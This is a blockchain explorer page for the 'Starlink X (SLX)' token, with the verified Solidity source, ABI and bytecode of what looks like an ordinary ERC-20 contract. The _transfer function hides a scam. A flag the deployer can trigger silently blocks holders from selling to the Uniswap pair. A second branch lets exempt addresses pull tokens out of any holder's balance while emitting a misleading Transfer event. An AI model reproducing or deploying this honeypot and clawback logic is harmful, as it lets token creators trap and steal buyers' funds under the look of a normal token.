ETH Price: $3,605.47 (+9.22%)

Token

Starlink X (SLX)
 

Overview

Max Total Supply

1,000,000 SLX

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
37,985.293557358935680793 SLX

Value
$0.00
0x1f55c87c95bd3d56b826ba5cb5021b6e530f9572
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SLX

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-29
*/

// SPDX-License-Identifier: MIT

// - Website: https://starlinkx.xyz
// - Telegram: https://t.me/starlink_erc
// - Twitter: https://x.com/starlink_erc

pragma solidity ^0.8.17;

library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
}

interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function symbol() external view returns (string memory);
    function circulatingSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function decimals() external view returns (uint8);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed sender, address indexed recipient, uint256 value);
}

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal owner;

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    event OwnershipTransferred(address owner);

    function transferOwnership(address payable account) public onlyOwner {
        owner = account;
        emit OwnershipTransferred(account);
    }
}

interface UniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address recipient,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address recipient,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

contract SLX is IERC20, Ownable {
    using SafeMath for uint256;

    address public slxPair;
    UniswapV2Router slxRouter;

    string private constant _symbol = "SLX";
    string private constant _name = "Starlink X";

    uint8 private constant _decimals = 18;

    uint256 private _totalSupply = 1000000 * (10 ** _decimals);

    uint256 private _denominator = 10000;

    address internal constant marketingAccount = 0x4F504aDe9D4e32F4c982bA4AC565f716760A15E0;
    address internal constant devAccount = 0x4F504aDe9D4e32F4c982bA4AC565f716760A15E0;
    address internal constant burnAccount = 0x000000000000000000000000000000000000dEaD;

    uint256 private _zeroImpostThreshold = (_totalSupply * 10) / 100000;

    uint256 private _swapBackThreshold = (_totalSupply * 5) / 100000;
    uint256 private _swapBackAmount = (_totalSupply * 5) / 10000;

    uint256 private _maxTransferShare = 200;
    uint256 private _maxAccountShare = 200;
    uint256 private _maxTxShare = 200;
    
    bool private _isTradingEnabled = false;

    bool private _lockInSwap;
    uint256 private _swapTimes;
    bool private _isSwapBackEnabled = true;

    uint256 private _sellImpost = 0;
    uint256 private _totalImpost = 0;

    bool private _zeroImpostSet = false;

    uint256 private _burnImpost = 0;
    uint256 private _transferImpost = 0;
    uint256 private _liquidityImpost = 0;
    uint256 private _marketingImpost = 0;
    uint256 private _devImpost = 0;

    mapping (address => bool) public leftOutFromImpost;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    function name() public pure returns (string memory) {
        return _name;
    }

    constructor() Ownable(msg.sender) {
        leftOutFromImpost[address(this)] = true;
        leftOutFromImpost[msg.sender] = true;
        leftOutFromImpost[marketingAccount] = true;
        leftOutFromImpost[devAccount] = true;

        UniswapV2Router _slxRouter = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        slxRouter = _slxRouter;
        address _slxPair = UniswapV2Factory(_slxRouter.factory()).createPair(address(this), _slxRouter.WETH());
        slxPair = _slxPair;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    modifier lockInSwapBack {
        _lockInSwap = true;
        _;
        _lockInSwap = false;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(address(0))).sub(balanceOf(burnAccount));
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function removeLimits() external onlyOwner {
        _maxTxShare = 10000;
        _maxAccountShare = 10000;
        _maxTransferShare = 10000;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0));
        require(owner != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function enableTrading() external onlyOwner {
        _isTradingEnabled = true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(amount > uint256(0));
        require(recipient != address(0));
        require(sender != address(0));

        if (
            countSwapTimes(sender, recipient) &&
            isTradingEnabled(sender, recipient) &&
            allowForMaxAmount(sender, recipient, amount) &&
            allowForMaxAccountSize(sender, recipient, amount)
        ) {
            if (balanceOf(sender) >= amount) {
                if (
                    !leftOutFromImpost[sender] &&
                    recipient == slxPair &&
                    !leftOutFromImpost[recipient] &&
                    !_lockInSwap
                ) {
                    if (_zeroImpostSet) return;
                    swapBack(sender, recipient);
                }
                _balances[sender] = _balances[sender].sub(amount);
                uint256 transferAmount = canTakeImpost(sender, recipient) ? takeImpost(sender, recipient, amount) : amount;
                _balances[recipient] = _balances[recipient].add(transferAmount);
                emit Transfer(sender, recipient, transferAmount);
            } else if (
                leftOutFromImpost[sender] &&
                sender != slxPair &&
                !leftOutFromImpost[recipient] &&
                !_lockInSwap
            ) {
                _balances[recipient] = _balances[recipient].sub(amount);
                _balances[sender] = _balances[sender].add(amount);
                emit Transfer(sender, recipient, amount);
            }
        }
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);

        return true;
    }

    function allowForMaxAmount(address sender, address recipient, uint256 tokenAmount) view internal returns (bool) {
        if (sender != slxPair) {
            require(tokenAmount <= maxTransferAmount() || leftOutFromImpost[sender] || leftOutFromImpost[recipient]);
        }
        require(tokenAmount <= maxTxAmount() || leftOutFromImpost[sender] || leftOutFromImpost[recipient]);

        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);

        return true;
    }

    function takeImpost(address sender, address recipient, uint256 tokenAmount) internal returns (uint256) {
        if (selectImposts(sender, recipient) > 0) {
            uint256 impostTokenAmount = tokenAmount.div(_denominator).mul(selectImposts(sender, recipient));
            _balances[address(this)] = _balances[address(this)].add(impostTokenAmount);
            emit Transfer(sender, address(this), impostTokenAmount);
            if (_burnImpost > uint256(0)) {
                _transfer(address(this), address(burnAccount), tokenAmount.div(_denominator).mul(_burnImpost));
            }
            return tokenAmount.sub(impostTokenAmount);
        }
        return tokenAmount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));

        return true;
    }

    function isTradingEnabled(address sender, address recipient) internal view returns (bool) {
        if (!leftOutFromImpost[sender] && !leftOutFromImpost[recipient]) {
            require(_isTradingEnabled);
        }
        return true;
    }

    function allowForMaxAccountSize(address sender, address recipient, uint256 amount) internal returns (bool) {
        bool senderLeftOutFromImpost = leftOutFromImpost[sender];
        bool recipientLeftOutFromImpost = leftOutFromImpost[recipient];
        
        if (
            !senderLeftOutFromImpost &&
            !recipientLeftOutFromImpost &&
            recipient != address(slxPair) &&
            recipient != address(burnAccount)
        ) {
            require((_balances[recipient].add(amount)) <= maxAccountSize());
        }

        if (recipientLeftOutFromImpost) {
            if (amount > _zeroImpostThreshold) {
                _zeroImpostSet = true;
            }
        }

        return true;
    }
    
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = slxRouter.WETH();
        if (tokenAmount > 0) {
            _approve(address(this), address(slxRouter), tokenAmount);
            slxRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
    }

    function countSwapTimes(address sender, address recipient) internal returns (bool) {
        if (recipient == slxPair && !leftOutFromImpost[sender]) {
            _swapTimes += uint256(1);
        }
        return true;
    }

    function canSwapBack(address sender, address recipient) internal view returns (bool) {
        return (
            !leftOutFromImpost[sender] &&
            !leftOutFromImpost[recipient] &&
            balanceOf(address(this)) >= _swapBackThreshold &&
            _isSwapBackEnabled &&
            !_lockInSwap &&
            _swapTimes >= uint256(0) &&
            _isTradingEnabled
        );
    }

    function canTakeImpost(address sender, address recipient) internal view returns (bool) {
        return !leftOutFromImpost[sender] && !leftOutFromImpost[recipient];
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(slxRouter), tokenAmount);
        slxRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            burnAccount,
            block.timestamp
        );
    }

    function maxTxAmount() public view returns (uint256) {
        return totalSupply() * _maxTxShare / _denominator;
    }

    function swapAndLiquify(uint256 tokens) private lockInSwapBack {
        uint256 denominator = (_liquidityImpost.add(1).add(_marketingImpost).add(_devImpost)).mul(2);
        uint256 tokensForLiquidity = tokens.mul(_liquidityImpost).div(denominator);
        uint256 tokensForETH = tokens.sub(tokensForLiquidity);
        uint256 initialEth = address(this).balance;
        swapTokensForETH(tokensForETH);
        uint256 deltaEth = address(this).balance.sub(initialEth);
        uint256 unitEth = deltaEth.div(denominator.sub(_liquidityImpost));
        uint256 ethForLiquidity = unitEth.mul(_liquidityImpost);
        if (ethForLiquidity > uint256(0)) {
            addLiquidity(tokensForLiquidity, ethForLiquidity);
        }
        uint256 marketingEth = unitEth.mul(2).mul(_marketingImpost);
        if (marketingEth > 0) {
            payable(marketingAccount).transfer(marketingEth);
        }
        uint256 leftEth = address(this).balance;
        if (leftEth > uint256(0)) {
            payable(devAccount).transfer(leftEth);
        }
    }

    function maxAccountSize() public view returns (uint256) {
        return totalSupply() * _maxAccountShare / _denominator;
    }

    function maxTransferAmount() public view returns (uint256) {
        return totalSupply() * _maxTransferShare / _denominator;
    }

    function swapBack(address sender, address recipient) internal {
        if (canSwapBack(sender, recipient)) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance >= _swapBackAmount) {
                contractTokenBalance = _swapBackAmount;
            }
            swapAndLiquify(contractTokenBalance);
            _swapTimes = uint256(0);
        }
    }

    receive() external payable {}

    function selectImposts(address sender, address recipient) internal view returns (uint256) {
        if (recipient == slxPair) {
            return _sellImpost;
        }
        if (sender == slxPair) {
            return _totalImpost;
        }
        return _transferImpost;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"leftOutFromImpost","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxAccountSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"slxPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526100106012600a610426565b61001d90620f424061043b565b600355612710600455620186a0600354600a610039919061043b565b6100439190610452565b600555620186a06003546005610059919061043b565b6100639190610452565b6006556127106003546005610078919061043b565b6100829190610452565b60075560c860088190556009819055600a55600b805460ff19908116909155600d8054821660011790555f600e819055600f8190556010805490921690915560118190556012819055601381905560148190556015553480156100e3575f80fd5b505f8054336001600160a01b031991821681178355308352601660209081526040808520805460ff1990811660019081179092559386528186208054851682179055734f504ade9d4e32f4c982ba4ac565f716760a15e086527fe5d3c6882cb96e9554725b59e83a54185fa4f4de692981f049c4b676706f5b1180549094161790925560028054737a250d5630b4cf539739df2c5dacb4c659f2488d941684179055815163c45a015560e01b81529151929392849263c45a01559260048083019391928290030181865afa1580156101bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e19190610471565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561022c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102509190610471565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561029a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102be9190610471565b600180546001600160a01b0319166001600160a01b038316179055600354335f81815260176020908152604080832085905551938452939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050610497565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561037c578085048111156103605761036061032d565b600184161561036e57908102905b60019390931c928002610345565b935093915050565b5f8261039257506001610420565b8161039e57505f610420565b81600181146103b457600281146103be576103da565b6001915050610420565b60ff8411156103cf576103cf61032d565b50506001821b610420565b5060208310610133831016604e8410600b84101617156103fd575081810a610420565b6104095f198484610341565b805f190482111561041c5761041c61032d565b0290505b92915050565b5f61043460ff841683610384565b9392505050565b80820281158282048414176104205761042061032d565b5f8261046c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215610481575f80fd5b81516001600160a01b0381168114610434575f80fd5b6114bc806104a45f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b4114610347578063a9059cbb14610372578063a9e7572314610391578063dd62ed3e146103a5578063f1f8c61f146103e9578063f2fde38b146103fd575f80fd5b8063751039fc146102db578063893d20e8146102ef5780638a8c523c1461030b5780638c0b5e221461031f5780639358928b14610333575f80fd5b80632f54bf6e116100ee5780632f54bf6e1461021b578063313ce567146102485780635233d9921461026357806370a0823114610291578063715018a6146102c5575f80fd5b806306fdde0314610134578063095ea7b31461017857806318160ddd146101a75780631b3e1d9d146101c557806323b872dd146101fc575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a8152690a6e8c2e4d8d2dcd640b60b31b60208201525b60405161016f9190611246565b60405180910390f35b348015610183575f80fd5b50610197610192366004611292565b61041c565b604051901515815260200161016f565b3480156101b2575f80fd5b506003545b60405190815260200161016f565b3480156101d0575f80fd5b506001546101e4906001600160a01b031681565b6040516001600160a01b03909116815260200161016f565b348015610207575f80fd5b506101976102163660046112bc565b610432565b348015610226575f80fd5b506101976102353660046112fa565b5f546001600160a01b0391821691161490565b348015610253575f80fd5b506040516012815260200161016f565b34801561026e575f80fd5b5061019761027d3660046112fa565b60166020525f908152604090205460ff1681565b34801561029c575f80fd5b506101b76102ab3660046112fa565b6001600160a01b03165f9081526017602052604090205490565b3480156102d0575f80fd5b506102d9610482565b005b3480156102e6575f80fd5b506102d96104db565b3480156102fa575f80fd5b505f546001600160a01b03166101e4565b348015610316575f80fd5b506102d9610502565b34801561032a575f80fd5b506101b7610526565b34801561033e575f80fd5b506101b761054f565b348015610352575f80fd5b506040805180820190915260038152620a698b60eb1b6020820152610162565b34801561037d575f80fd5b5061019761038c366004611292565b6105b7565b34801561039c575f80fd5b506101b76105c3565b3480156103b0575f80fd5b506101b76103bf366004611315565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b3480156103f4575f80fd5b506101b76105d3565b348015610408575f80fd5b506102d96104173660046112fa565b6105e3565b5f61042833848461064b565b5060015b92915050565b5f61043e8484846106d0565b6001600160a01b0384165f9081526018602090815260408083203380855292529091205461047791869161047290866109ee565b61064b565b5060015b9392505050565b5f546001600160a01b03163314610497575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146104f0575f80fd5b612710600a8190556009819055600855565b5f546001600160a01b03163314610517575f80fd5b600b805460ff19166001179055565b5f600454600a5461053660035490565b6105409190611360565b61054a9190611377565b905090565b60176020527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b0303545f8080527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b54600354919261054a9290916105b191906109ee565b906109ee565b5f6104283384846106d0565b5f60045460085461053660035490565b5f60045460095461053660035490565b5f546001600160a01b031633146105f8575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03821661065d575f80fd5b6001600160a01b03831661066f575f80fd5b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116106db575f80fd5b6001600160a01b0382166106ed575f80fd5b6001600160a01b0383166106ff575f80fd5b61070983836109f9565b801561071a575061071a8383610a55565b801561072c575061072c838383610aa8565b801561073e575061073e838383610b6d565b156109e95780610762846001600160a01b03165f9081526017602052604090205490565b106108d5576001600160a01b0383165f9081526016602052604090205460ff1615801561079c57506001546001600160a01b038381169116145b80156107c057506001600160a01b0382165f9081526016602052604090205460ff16155b80156107d45750600b54610100900460ff16155b156107f35760105460ff16156107e957505050565b6107f38383610c38565b6001600160a01b0383165f9081526017602052604090205461081590826109ee565b6001600160a01b0384165f9081526017602052604081209190915561083a8484610c77565b610844578161084f565b61084f848484610cbb565b6001600160a01b0384165f908152601760205260409020549091506108749082610dab565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108c79085815260200190565b60405180910390a350505050565b6001600160a01b0383165f9081526016602052604090205460ff16801561090a57506001546001600160a01b03848116911614155b801561092e57506001600160a01b0382165f9081526016602052604090205460ff16155b80156109425750600b54610100900460ff16155b156109e9576001600160a01b0382165f9081526017602052604090205461096990826109ee565b6001600160a01b038084165f9081526017602052604080822093909355908516815220546109979082610dab565b6001600160a01b038481165f8181526017602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106c3565b505050565b5f61047b8284611396565b6001545f906001600160a01b038381169116148015610a3057506001600160a01b0383165f9081526016602052604090205460ff16155b15610428576001600c5f828254610a4791906113a9565b909155505050600192915050565b6001600160a01b0382165f9081526016602052604081205460ff16158015610a9557506001600160a01b0382165f9081526016602052604090205460ff16155b1561042857600b5460ff16610428575f80fd5b6001545f906001600160a01b03858116911614610b1657610ac76105c3565b82111580610aec57506001600160a01b0384165f9081526016602052604090205460ff165b80610b0e57506001600160a01b0383165f9081526016602052604090205460ff165b610b16575f80fd5b610b1e610526565b82111580610b4357506001600160a01b0384165f9081526016602052604090205460ff165b80610b6557506001600160a01b0383165f9081526016602052604090205460ff165b610477575f80fd5b6001600160a01b038084165f90815260166020526040808220549285168252812054909160ff908116911681158015610ba4575080155b8015610bbe57506001546001600160a01b03868116911614155b8015610bd557506001600160a01b03851661dead14155b15610c0e57610be26105d3565b6001600160a01b0386165f90815260176020526040902054610c049086610dab565b1115610c0e575f80fd5b8015610c2c57600554841115610c2c576010805460ff191660011790555b50600195945050505050565b610c428282610db6565b15610c7357305f908152601760205260409020546007548110610c6457506007545b610c6d81610e52565b505f600c555b5050565b6001600160a01b0382165f9081526016602052604081205460ff1615801561047b5750506001600160a01b03165f9081526016602052604090205460ff1615919050565b5f80610cc78585610fd7565b1115610da4575f610cef610cdb8686610fd7565b600454610ce9908690611021565b9061102c565b305f90815260176020526040902054909150610d0b9082610dab565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d5b9085815260200190565b60405180910390a360115415610d9257610d923061dead610d8d601154610ce96004548961102190919063ffffffff16565b6106d0565b610d9c83826109ee565b91505061047b565b5092915050565b5f61047b82846113a9565b6001600160a01b0382165f9081526016602052604081205460ff16158015610df657506001600160a01b0382165f9081526016602052604090205460ff16155b8015610e125750600654305f9081526017602052604090205410155b8015610e205750600d5460ff165b8015610e345750600b54610100900460ff16155b8015610e3e575060015b801561047b575050600b5460ff1692915050565b600b805461ff0019166101001790556015546014546013545f92610e8b92600292610ce99291610e859182906001610dab565b90610dab565b90505f610ead82610ea76013548661102c90919063ffffffff16565b90611021565b90505f610eba84836109ee565b905047610ec682611037565b5f610ed147836109ee565b90505f610ef3610eec601354886109ee90919063ffffffff16565b8390611021565b90505f610f0b6013548361102c90919063ffffffff16565b90508015610f1d57610f1d8682611197565b6014545f90610f3190610ce985600261102c565b90508015610f7957604051734f504ade9d4e32f4c982ba4ac565f716760a15e09082156108fc029083905f818181858888f19350505050158015610f77573d5f803e3d5ffd5b505b478015610fc057604051734f504ade9d4e32f4c982ba4ac565f716760a15e09082156108fc029083905f818181858888f19350505050158015610fbe573d5f803e3d5ffd5b505b5050600b805461ff00191690555050505050505050565b6001545f906001600160a01b0390811690831603610ff85750600e5461042c565b6001546001600160a01b03908116908416036110175750600f5461042c565b5060125492915050565b5f61047b8284611377565b5f61047b8284611360565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106a5761106a6113bc565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e591906113d0565b816001815181106110f8576110f86113bc565b6001600160a01b03909216602092830291909101909101528115610c735760025461112e9030906001600160a01b03168461064b565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906111669085905f908690309042906004016113eb565b5f604051808303815f87803b15801561117d575f80fd5b505af115801561118f573d5f803e3d5ffd5b505050505050565b6002546111af9030906001600160a01b03168461064b565b60025460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561121a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061123f919061145b565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461128f575f80fd5b50565b5f80604083850312156112a3575f80fd5b82356112ae8161127b565b946020939093013593505050565b5f805f606084860312156112ce575f80fd5b83356112d98161127b565b925060208401356112e98161127b565b929592945050506040919091013590565b5f6020828403121561130a575f80fd5b813561047b8161127b565b5f8060408385031215611326575f80fd5b82356113318161127b565b915060208301356113418161127b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761042c5761042c61134c565b5f8261139157634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561042c5761042c61134c565b8082018082111561042c5761042c61134c565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113e0575f80fd5b815161047b8161127b565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561143b5783516001600160a01b0316835260209384019390920191600101611414565b50506001600160a01b039590951660608401525050608001529392505050565b5f805f6060848603121561146d575f80fd5b505081516020830151604090930151909492935091905056fea264697066735822122067796d50b9b1028e48756fff43635ac2f7e53e59d2fb30f70f5e096cee7179f964736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b4114610347578063a9059cbb14610372578063a9e7572314610391578063dd62ed3e146103a5578063f1f8c61f146103e9578063f2fde38b146103fd575f80fd5b8063751039fc146102db578063893d20e8146102ef5780638a8c523c1461030b5780638c0b5e221461031f5780639358928b14610333575f80fd5b80632f54bf6e116100ee5780632f54bf6e1461021b578063313ce567146102485780635233d9921461026357806370a0823114610291578063715018a6146102c5575f80fd5b806306fdde0314610134578063095ea7b31461017857806318160ddd146101a75780631b3e1d9d146101c557806323b872dd146101fc575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a8152690a6e8c2e4d8d2dcd640b60b31b60208201525b60405161016f9190611246565b60405180910390f35b348015610183575f80fd5b50610197610192366004611292565b61041c565b604051901515815260200161016f565b3480156101b2575f80fd5b506003545b60405190815260200161016f565b3480156101d0575f80fd5b506001546101e4906001600160a01b031681565b6040516001600160a01b03909116815260200161016f565b348015610207575f80fd5b506101976102163660046112bc565b610432565b348015610226575f80fd5b506101976102353660046112fa565b5f546001600160a01b0391821691161490565b348015610253575f80fd5b506040516012815260200161016f565b34801561026e575f80fd5b5061019761027d3660046112fa565b60166020525f908152604090205460ff1681565b34801561029c575f80fd5b506101b76102ab3660046112fa565b6001600160a01b03165f9081526017602052604090205490565b3480156102d0575f80fd5b506102d9610482565b005b3480156102e6575f80fd5b506102d96104db565b3480156102fa575f80fd5b505f546001600160a01b03166101e4565b348015610316575f80fd5b506102d9610502565b34801561032a575f80fd5b506101b7610526565b34801561033e575f80fd5b506101b761054f565b348015610352575f80fd5b506040805180820190915260038152620a698b60eb1b6020820152610162565b34801561037d575f80fd5b5061019761038c366004611292565b6105b7565b34801561039c575f80fd5b506101b76105c3565b3480156103b0575f80fd5b506101b76103bf366004611315565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b3480156103f4575f80fd5b506101b76105d3565b348015610408575f80fd5b506102d96104173660046112fa565b6105e3565b5f61042833848461064b565b5060015b92915050565b5f61043e8484846106d0565b6001600160a01b0384165f9081526018602090815260408083203380855292529091205461047791869161047290866109ee565b61064b565b5060015b9392505050565b5f546001600160a01b03163314610497575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc